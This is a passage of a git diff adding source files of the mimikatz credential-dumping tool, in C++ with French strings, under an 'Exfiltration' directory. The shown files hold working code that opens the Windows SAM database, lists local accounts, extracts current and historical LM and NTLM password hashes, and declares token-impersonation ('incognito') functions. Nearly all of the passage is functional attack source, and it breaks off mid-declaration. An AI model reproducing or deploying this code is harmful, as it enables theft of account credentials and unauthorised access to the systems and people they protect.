&monToken); + if(NT_SUCCESS(status)) + { + monStream << L"Disponible !"; + DWORD maSession, tailleRetournee; + if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0) + { + monStream << L" - session d\'origine " << maSession; + CloseHandle(monToken); + } + else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl; + } + else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl; + } + return sendTo(monPipe, monStream.str()); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h new file mode 100644 index 0000000..a8eae58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h @@ -0,0 +1,13 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchIncognitoFuncs(); +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments); +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp new file mode 100644 index 0000000..5555b58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp @@ -0,0 +1,479 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sam.h" + +PSAM_I_CONNECT SamIConnect = reinterpret_cast(NULL); +PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast(NULL); +PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast(NULL); +PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast(NULL); +PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast(NULL); +PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(NULL); +PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(NULL); +PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast(NULL); +PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast(NULL); +PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast(NULL); +PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast(NULL); + +bool searchSAMFuncs() +{ + if(!(SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle && + SamIGetPrivateData && + SystemFunction025 && + SystemFunction027)) + { + HMODULE hSamsrv = GetModuleHandle(L"samsrv"); + HMODULE hAdvapi32 = GetModuleHandle(L"advapi32"); + + if(hSamsrv && hAdvapi32) + { + SamIConnect = reinterpret_cast(GetProcAddress(hSamsrv, "SamIConnect")); + SamrOpenDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenDomain")); + SamrOpenUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenUser")); + SamrEnumerateUsersInDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain")); + SamrQueryInformationUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrQueryInformationUser")); + SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER")); + SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER")); + SamrCloseHandle = reinterpret_cast(GetProcAddress(hSamsrv, "SamrCloseHandle")); + SamIGetPrivateData = reinterpret_cast(GetProcAddress(hSamsrv, "SamIGetPrivateData")); + SystemFunction025 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction025")); + SystemFunction027 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction027")); + } + return (SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle); + } + else return true; +} + +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@SamIConnect = " << SamIConnect << endl << + L"@SamrOpenDomain = " << SamrOpenDomain << endl << + L"@SamrOpenUser = " << SamrOpenUser << endl << + L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl << + L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl << + L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl << + L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl << + L"@SamrCloseHandle = " << SamrCloseHandle << endl << + L"@SamIGetPrivateData = " << SamIGetPrivateData << endl << + L"@SystemFunction025 = " << SystemFunction025 << endl << + L"@SystemFunction027 = " << SystemFunction027 << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments) +{ + if(searchSAMFuncs()) + { + bool sendOk = true, history = true, isCSV = false; + USER_INFORMATION_CLASS monType = UserInternal1Information; + + if(!mesArguments->empty()) + { + isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0); + monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information); + } + + LSA_HANDLE handlePolicy = NULL; + HSAM handleSam = NULL; + HDOMAIN handleDomain = NULL; + HUSER handleUser = NULL; + + LSA_OBJECT_ATTRIBUTES objectAttributes; + memset(&objectAttributes, NULL, sizeof(objectAttributes)); + PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo; + + NTSTATUS retourEnum = 0; + PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL; + DWORD EnumerationContext = 0; + DWORD EnumerationSize = 0; + + PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy))) + { + if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast(&ptrPolicyDomainInfo)))) + { + if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT))) + { + if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain))) + { + wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + do + { + retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize); + if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES) + { + for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++) + { + wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser))) + { + if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers))) + { + WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers); + mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId; + mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + + if(mesInfos.UserName.empty()) + mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + + sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV); + SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType); + } + + if(history && SamIGetPrivateData != NULL) + { + sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV); + } + SamrCloseHandle(reinterpret_cast(&handleUser)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n"); + } + SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser); + } + else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n"); + + } while(retourEnum == STATUS_MORE_ENTRIES && sendOk); + SamrCloseHandle(reinterpret_cast(&handleDomain)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n"); + SamrCloseHandle(reinterpret_cast(&handleSam)); + } + else sendOk = sendTo(monPipe, L"Impossible de se connecter à la base de sécurité du domaine\n"); + LsaFreeMemory(ptrPolicyDomainInfo); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de sécurité\n"); + LsaClose(handlePolicy); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de sécurité\n"); + + return sendOk; + } + else return getSAMFunctions(monPipe, mesArguments); +} + +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV) +{ + wstringstream maReponse; + + switch(type) + { + case UserInternal1Information: + if(isCSV) + { + maReponse << + mesInfos.UserId << L";" << + mesInfos.UserName << L";" << + mesInfos.DomaineName << L";" << + mesInfos.LmOwfPassword << L";" << + mesInfos.NtOwfPassword << L";" + ; + } + else + { + maReponse << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl + ; + } + break; + case UserAllInformation: + if(isCSV) + { + maReponse << + mesInfos.UserId << L';' << + mesInfos.UserName << L';' << + mesInfos.DomaineName << L';' << + protectMe(mesInfos.FullName) << L';' << + mesInfos.isActif << L';' << + mesInfos.isLocked << L';' << + mesInfos.TypeCompte << L';' << + protectMe(mesInfos.UserComment) << L';' << + protectMe(mesInfos.AdminComment) << L';' << + mesInfos.AccountExpires_strict << L';' << + protectMe(mesInfos.WorkStations) << L';' << + protectMe(mesInfos.HomeDirectory) << L';' << + protectMe(mesInfos.HomeDirectoryDrive) << L';' << + protectMe(mesInfos.ProfilePath) << L';' << + protectMe(mesInfos.ScriptPath) << L';' << + mesInfos.LogonCount << L';' << + mesInfos.BadPasswordCount << L';' << + mesInfos.LastLogon_strict << L';' << + mesInfos.LastLogoff_strict << L';' << + mesInfos.PasswordLastSet_strict << L';' << + mesInfos.isPasswordNotExpire << L';' << + mesInfos.isPasswordNotRequired << L';' << + mesInfos.isPasswordExpired << L';' << + mesInfos.PasswordCanChange_strict << L';' << + mesInfos.PasswordMustChange_strict << L';' << + mesInfos.LmOwfPassword << L';' << + mesInfos.NtOwfPassword << L';' + ; + } + else + { + maReponse << boolalpha << + L"Compte" << endl << + L"======" << endl << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Nom complet : " << mesInfos.FullName << endl << + L"Actif : " << mesInfos.isActif << endl << + L"Verouillé : " << mesInfos.isLocked << endl << + L"Type : " << mesInfos.TypeCompte << endl << + L"Commentaire utilisateur : " << mesInfos.UserComment << endl << + L"Commentaire admin : " << mesInfos.AdminComment << endl << + L"Expiration : " << mesInfos.AccountExpires << endl << + L"Station(s) : " << mesInfos.WorkStations << endl << + endl << + L"Chemins" << endl << + L"-------" << endl << + L"Répertoire de base : " << mesInfos.HomeDirectory << endl << + L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl << + L"Profil : " << mesInfos.ProfilePath << endl << + L"Script de démarrage : " << mesInfos.ScriptPath << endl << + endl << + L"Connexions" << endl << + L"----------" << endl << + L"Nombre : " << mesInfos.LogonCount << endl << + L"Echecs : " << mesInfos.BadPasswordCount << endl << + L"Dernière connexion : " << mesInfos.LastLogon << endl << + L"Dernière déconnexion : " << mesInfos.LastLogoff << endl << + endl << + L"Mot de passe" << endl << + L"------------" << endl << + L"Dernier changement : " << mesInfos.PasswordLastSet << endl << + L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl << + L"Peut être vide : " << mesInfos.isPasswordNotRequired << endl << + L"Mot de passe expiré : " << mesInfos.isPasswordExpired << endl << + L"Possibilité changement : " << mesInfos.PasswordCanChange << endl << + L"Obligation changement : " << mesInfos.PasswordMustChange << endl << + endl << + L"Hashs" << endl << + L"-----" << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl << + endl + ; + } + break; + } + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr) +{ + WUserAllInformation mesInfos; + PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL; + PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL; + + switch(type) + { + case UserInternal1Information: + ptrPassword = reinterpret_cast(monPtr); + + mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data)); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data)); + break; + + case UserAllInformation: + ptrAllInformations = reinterpret_cast(monPtr); + + mesInfos.UserId = ptrAllInformations->UserId; + mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName); + mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName); + + mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0; + mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0; + + if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Contrôleur de domaine"); + else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Ordinateur"); + else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT) + mesInfos.TypeCompte.assign(L"Utilisateur"); + else + mesInfos.TypeCompte.assign(L"Inconnu"); + + mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment); + mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment); + mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires); + mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true); + mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations); + mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory); + mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive); + mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath); + mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath); + mesInfos.LogonCount = ptrAllInformations->LogonCount; + mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount; + mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon); + mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true); + mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff); + mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true); + mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet); + mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true); + mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0; + mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0; + mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0; + mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange); + mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true); + mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange); + mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true); + mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length); + + break; + } + return mesInfos; +} + +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV) +{ + WUserAllInformation mesInfos; + mesInfos.DomaineName = domainName; + mesInfos.UserId = rid; + + DWORD Context = 2, Type = 0, tailleBlob; + PWHashHistory pMesDatas = NULL; + bool sendOk = true; + + if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas))) + { + unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16; + + for(unsigned short i = 1; i < nbEntrees && sendOk; i++) + { + BYTE monBuff[16] = {0}; + + wostringstream userNameQualif; + userNameQualif << monUserName << L"{p-" << i << L"}"; + mesInfos.UserName = userNameQualif.str(); + + if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff))) + { + mesInfos.LmPasswordPresent = 1; + mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.LmPasswordPresent = 0; + mesInfos.LmOwfPassword = L"échec de décodage :("; + } + + if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff))) + { + mesInfos.NtPasswordPresent = 1; + mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.NtPasswordPresent = 0; + mesInfos.NtOwfPassword = L"échec de décodage :("; + } + + sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV); + } + LocalFree(pMesDatas); + } + return sendOk; +} + +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict) +{ + wostringstream reponse; + + if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX) + { + if(!isStrict) + reponse << L"N\'arrive jamais"; + } + else if(monInt.LowPart == 0 && monInt.HighPart == 0) + { + if(!isStrict) + reponse << L"N\'est pas encore arrivé"; + } + else + { + SYSTEMTIME monTimeStamp; + if(FileTimeToSystemTime(reinterpret_cast(&monInt), &monTimeStamp) != FALSE) + { + reponse << dec << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" << + setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond; + } + } + return reponse.str(); +} + +wstring protectMe(wstring &maChaine) +{ + wstring result; + if(!maChaine.empty()) + { + result = L"\""; + result.append(maChaine); + result.append(L"\""); + } + return result; +} + +void correctMe(wstring &maChaine) +{ + unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20}; + unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 }; + + for(unsigned int i = 0; i < maChaine.size() ; i++) + { + const BYTE * monPtr = reinterpret_cast(&maChaine.c_str()[i]); + for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2) + { + if(*monPtr == source[j] && *(monPtr + 1) == source[j+1]) + { + *const_cast(monPtr) = replac[j]; + *const_cast(monPtr + 1) = replac[j + 1]; + break; + } + } + } +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h new file mode 100644 index 0000000..870aa4d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include +#include + +bool searchSAMFuncs(); +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments); + +#define SAM_SERVER_CONNECT 0x00000001 +#define DOMAIN_ALL_ACCESS 0x000F07FF +#define USER_ALL_ACCESS 0x000F07FF + +#define USER_ACCOUNT_DISABLED 0x00000001 +#define USER_PASSWORD_NOT_REQUIRED 0x00000004 +#define USER_NORMAL_ACCOUNT 0x00000010 +#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080 +#define USER_SERVER_TRUST_ACCOUNT 0x00000100 +#define USER_DONT_EXPIRE_PASSWORD 0x00000200 +#define USER_ACCOUNT_AUTO_LOCKED 0x00000400 +#define USER_SMARTCARD_REQUIRED 0x00001000 +#define USER_TRUSTED_FOR_DELEGATION 0x00002000 +#define USER_PASSWORD_EXPIRED 0x00020000 + +typedef struct _WUserAllInformation +{ + unsigned long UserId; + wstring UserName; + wstring DomaineName; + wstring FullName; + bool isActif; + bool isLocked; + wstring TypeCompte; + wstring UserComment; + wstring AdminComment; + wstring AccountExpires; + wstring AccountExpires_strict; + wstring WorkStations; + + wstring HomeDirectory; + wstring HomeDirectoryDrive; + wstring ProfilePath; + wstring ScriptPath; + + unsigned short LogonCount; + unsigned short BadPasswordCount; + wstring LastLogon; + wstring LastLogon_strict; + wstring LastLogoff; + wstring LastLogoff_strict; + + wstring PasswordLastSet; + wstring PasswordLastSet_strict; + bool isPasswordNotExpire; + bool isPasswordNotRequired; + bool isPasswordExpired; + wstring PasswordCanChange; + wstring PasswordCanChange_strict; + wstring PasswordMustChange; + wstring PasswordMustChange_strict; + + bool LmPasswordPresent; + wstring LmOwfPassword; + bool NtPasswordPresent; + wstring NtOwfPassword; +} WUserAllInformation, *PUserAllInformation; + +typedef struct _WHashHistory +{ + DWORD unkVersion; + unsigned short currentLMsize; + unsigned short unkCurrentLMsize; + DWORD unkCurLM; + BYTE EncLMhash[16]; + + unsigned short currentNTLMsize; + unsigned short unkCurrentNTLMsize; + DWORD unkCurNTLM; + BYTE EncNTLMhash[16]; + + unsigned short histLMsize; + unsigned short unkhistLMsize; + DWORD unkHistLM; + + unsigned short histNTLMsize; + unsigned short unkhistNTLMsize; + DWORD unkHistNTLM; + BYTE hashs[24][16]; +} WHashHistory, *PWHashHistory; + +DECLARE_HANDLE(HUSER); +DECLARE_HANDLE(HSAM); +DECLARE_HANDLE(HDOMAIN); + +typedef struct _SAMPR_RID_ENUMERATION +{ + unsigned long RelativeId; + LSA_UNICODE_STRING Name; +} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION; + +typedef struct _SAMPR_ENUMERATION_BUFFER +{ + unsigned long EntriesRead; + [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer; +} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER; + +typedef enum _USER_INFORMATION_CLASS +{ + UserInternal1Information = 18, + UserAllInformation = 21, +} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; + +typedef struct _ENCRYPTED_LM_OWF_PASSWORD +{ + BYTE data[16]; +} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD; + +typedef struct _SAMPR_USER_INTERNAL1_INFORMATION +{ + ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword; + ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword; + unsigned char NtPasswordPresent; + unsigned char LmPasswordPresent; + unsigned char PasswordExpired; +} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION; + +typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; +} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + +typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR { + [range(0, 256 * 1024)] unsigned long Length; + [size_is(Length)] unsigned char* SecurityDescriptor; +} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR; + +typedef struct _SAMPR_LOGON_HOURS { + unsigned short UnitsPerWeek; + [size_is(1260), length_is((UnitsPerWeek+7)/8)] + unsigned char* LogonHours; +} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS; + +typedef struct _SAMPR_USER_ALL_INFORMATION +{ + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordCanChange; + OLD_LARGE_INTEGER PasswordMustChange; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING FullName; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + LSA_UNICODE_STRING ScriptPath; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING AdminComment; + LSA_UNICODE_STRING WorkStations; + LSA_UNICODE_STRING UserComment; + LSA_UNICODE_STRING Parameters; + LSA_UNICODE_STRING LmOwfPassword; + LSA_UNICODE_STRING NtOwfPassword; + LSA_UNICODE_STRING PrivateData; + SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor; + unsigned long UserId; + unsigned long PrimaryGroupId; + unsigned long UserAccountControl; + unsigned long WhichFields; + SAMPR_LOGON_HOURS LogonHours; + unsigned short BadPasswordCount; + unsigned short LogonCount; + unsigned short CountryCode; + unsigned short CodePage; + unsigned char LmPasswordPresent; + unsigned char NtPasswordPresent; + unsigned char PasswordExpired; + unsigned char PrivateDataSensitive; +} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION; + +typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */ +{ + [case(UserInternal1Information)] + SAMPR_USER_INTERNAL1_INFORMATION Internal1; + [case(UserAllInformation)] + SAMPR_USER_ALL_INFORMATION All; +} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER; + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr); +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false); +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false); +wstring 